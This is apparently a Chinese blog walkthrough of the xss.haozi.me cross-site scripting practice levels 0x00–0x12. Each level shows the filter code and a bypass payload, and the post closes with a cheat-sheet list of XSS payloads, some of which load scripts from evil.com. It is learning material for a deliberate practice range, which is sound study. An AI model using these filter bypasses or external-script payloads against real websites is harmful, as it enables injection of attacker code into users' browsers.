前言:
对于我这种XSS小白(不对,把"XSS"去掉)还是能学到不少基础知识的
Here We GO!
练习地址:https://xss.haozi.me/#/0x00
0x00
function render (input) {
return '<div>' + input + '</div>'
}
放在<div>
中,直接就:
<script>alert(/1/)</script>
0x01
function render (input) {
return '<textarea>' + input + '</textarea>'
}
闭合标签
</textarea><script>alert(1);</script>
0x02
<input type="name" value="">
闭合标签
"><script>alert(1)</script>
0x03——模板字符 ` 的使用
function render (input) {
const stripBracketsRe = /[()]/g /g是全局搜索的修饰符
input = input.replace(stripBracketsRe, '')
return input
}
过滤了括号:(
)
但我们可以使用模板字符串:反引号
在Es6中,模版字符串可以紧跟在一个函数名后面,该函数将被调用来处理这个模板字符串,这被称为“标签模板”功能。
<script>alert`1`</script>
0x04——<svg>
与<iframe srcdoc="">
能解析HTML实体字符
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
反引号也被过滤了,我们考虑HTML实体字符
HTML实体字符是以 &# 开头 + 10进制 +以分号结尾
或以 &#x 开头 + 16进制 + 以分号结尾
所表示的
其中<svg>
标签可以解析HTML实体字符
<svg><script>alert(1&x41;</script></svg>
H5中的 标签的 srcdoc
属性
该属性用法:<iframe srcdoc="HTML_code">
HTML code为HTML语法的内容
<iframe srcdoc=" <script>alert(1)</script>">
0x05——<!-- --!>HTML中对称的注释方式
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
HTML注释方式有什么?
<!-- -->
这种是标准注释方式
<!-- --!>
这种对称的方式也行
--!><script>alert(1)</script>
0x06——onclick 、onerror、onmouseover事件
与换行绕过正则
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
HTML:
<input value=1 type="text">
没有/m 多行匹配
那就用换行来绕过使用on
属性
onmouseover
=alert(1)
onclick
=alert(1)
type=image src='' onerror
=alert(1)
...................
0x07——浏览器有容错性,不加’>'也可
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
HTML:
<article></article>
过滤以 <
开头, >
结尾的字符
利用了浏览器的容错性,即使不写全< >
也能执行
<img src='' οnerrοr="alert(1)"
<input οnmοuseοver="alert(1)"
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
HTML:
<style>
</style>
过滤了</style>
,不过毕竟是黑名单,可以通过空格与换行的方式
</style ><script>alert(1)</script>
或者
</style
><script>alert(1)</script>
0x09——//
是js的注释方式
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
Regexp.test()
方法用于检测一个字符串是否匹配Regexp
//
在js中是注释方式
https://www.segmentfault.com "></script><svg/οnlοad="alert(1)" //
<svg/οnlοad="alert(1)">这种方式学到了
0x0A——URL中的 @
与加载外部代码
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
进行了escape()
的编码并指定了一些字符的替换。这就导致无法闭合上script
了,需要外部加载js代码
http:// username:password @ hostname
注意@后面才是我们要访问的域名
例如:http://yahoo.com@216.58.194.110
你访问的不是yahoo.com
而是后面的IP地址
https://www.segmentfault.com@xss.haozi.me/j.js //在chrome浏览器不成功,但在火狐可以
这里的xss.haozi.me/j.js
是一个写有alert(1)
js代码的页面
0x0B、0x0C——js区分大小写,html不区分。
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
js中变量名,函数,关键字都区分大小写,如var i;和var I;是两个不同的变量。
css中定义的元素名称不区分大小写的。
html中,标签和标签属性统一使用小写形式,固有属性也一律使用小写,自定义属性或标签中含有的大写均会被转换成小写。
换句话说:
html: 大小写不敏感
css: 大小写不敏感
javascript: 大小写敏感
alert(1)是不可以大写的,可以利用HTML编码绕过(毕竟&#与数字哪有什么大小写)
<img src='' onerror=alert(1)>
看到下一题发现过滤了script
说明script
才是这题的预期解。那么就是利用 src外部加载了
<script src="https://www.segmentfault.com.haozi.me/j.js"></script>
0x0D——换行绕过注释符
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
HTML:
<script>
// alert('')
</script>
换行绕过注释符//
这个不难想到。关键还有')
跟在输入的后面,本来想着js注释符的却发现被过滤了…
后来看大佬们做法才想起来HTML注释符…想错方向了
alert(1)
-->
0x0E——'ſ'.toUpperCase()=S
特殊字符
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
HTML:
<h1></h1>
emmm,想不出来…哎
大佬们是是利用一些特殊字符的特殊情况绕过的,详情的特殊情况请看这里
这些是在特定函数下的特殊转换:
toUpperCase():
ı ==>I
ſ ==>S
toLowerCase():
İ ==>i
K ==>k
这其中的ſ
就可以被利用为S
这是大佬们的做法:
<ſcript src="https://xss.haozi.me/j.js"></script>
但我想着HTML编码alert(1)
,但不成功…why?
<ſcript>alert(1)</ſcript>
0x0F——以下题目都是闭合操作
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}
HTML:
<img src onerror="console.error('')">
对html 、js 转义就是做无用功,浏览器会先解析html, 然后再解析 js
闭合console.error,又因为在onerror事件中,用分号;
执行多语句
');alert('1
0x10
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
HTML:
<script>
window.data =
</script>
直接闭合window.data然后执行alert
1;alert(1)
0x11
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
HTML:
<script>
var url = 'javascript:console.log("")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
代码有点多,但思路就是在输入的地方进行闭合,执行我们要的命令
"),alert(1)//
0x12
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
HTML:
<script>console.log("");</script>
同样是闭合,要注意转义符号,因为"
会多出一个\
而它会转义后面的"
所以要在前面加上\
。跟上题的原理一样
\");alert(1)//
记录一些payload:
<h1 onmousemove="alert('moved!')">a trick</h1>
<img src=x onerror="alert('error!')" />
<script src="http://evil.com/a.js"></script>
<script>alert(1)</script>
<link rel="import" href="http://evil.com/1.html">
<iframe src="javascript:alert(1)"></iframe> //javascript伪协议
<a href="javascript:alert(1)">click</a>
<svg/onload=alert(1)>
<input onfocus=write(1) autofocus>
<input onblur=write(1) autofocus><input autofocus>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> //data伪协议 <script>alert(1)</script>的编码